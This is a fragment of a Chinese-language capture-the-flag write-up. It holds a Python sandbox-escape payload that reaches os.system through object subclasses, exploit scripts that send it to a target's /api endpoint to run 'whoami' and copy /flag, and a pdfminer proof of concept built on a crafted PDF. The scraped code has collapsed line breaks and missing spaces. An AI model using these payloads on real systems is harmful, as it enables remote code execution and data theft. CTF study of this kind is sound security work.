[k for i,k in enumerate({}.__class__.__base__.__subclasses__()) if '__init__' in k.__dict__ and 'wrapper' not in k.__init__.__str__()][0].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')
api_url = url + "/api" payload = "[k for i,k in enumerate({}.__class__.__base__.__subclasses__()) if '__init__' in k.__dict__ and 'wrapper' not in k.__init__.__str__()][0].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')"
data = {"key": str(next_random), "payload": payload} try: response = requests.post(url=api_url, json=data) if response.status_code == 200: print("[+] 攻击成功") print(f"[+] 执行结果:{response.text}") except Exception as e: print(f"[-] 攻击失败:{e}")
api_url = url + "/api" payload = "[k for i,k in enumerate({}.__class__.__base__.__subclasses__()) if '__init__' in k.__dict__ and 'wrapper' not in k.__init__.__str__()][0].__init__.__globals__['__builtins__']['__import__']('os').system('mkdir static && cat /flag > /app/static/1.txt')"
data = {"key": str(next_random), "payload": payload} try: response = requests.post(url=api_url, json=data) if response.status_code == 200: print("[+] 攻击成功") print(f"[+] 执行结果:{response.text}") except Exception as e: print(f"[-] 攻击失败:{e}")
# 生成测试 PDF pdf_data = create_cid_font_pdf() withopen('test.pdf', 'wb') as f: f.write(pdf_data)
接着在_load_data()里进行处理
最后写一个测试poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
from pdfminer.high_level import extract_pages from pdfminer.layout import LTTextContainer
defpdf_to_text(pdf_path, txt_path): withopen(txt_path, 'w', encoding='utf-8') as txt: for page_layout in extract_pages(pdf_path): for element in page_layout: ifisinstance(element, LTTextContainer): txt.write(element.get_text()) txt.write('\n')
defmain(): try: pdf_to_text('test.pdf', 'output.txt') except Exception as e: returnstr(e), 500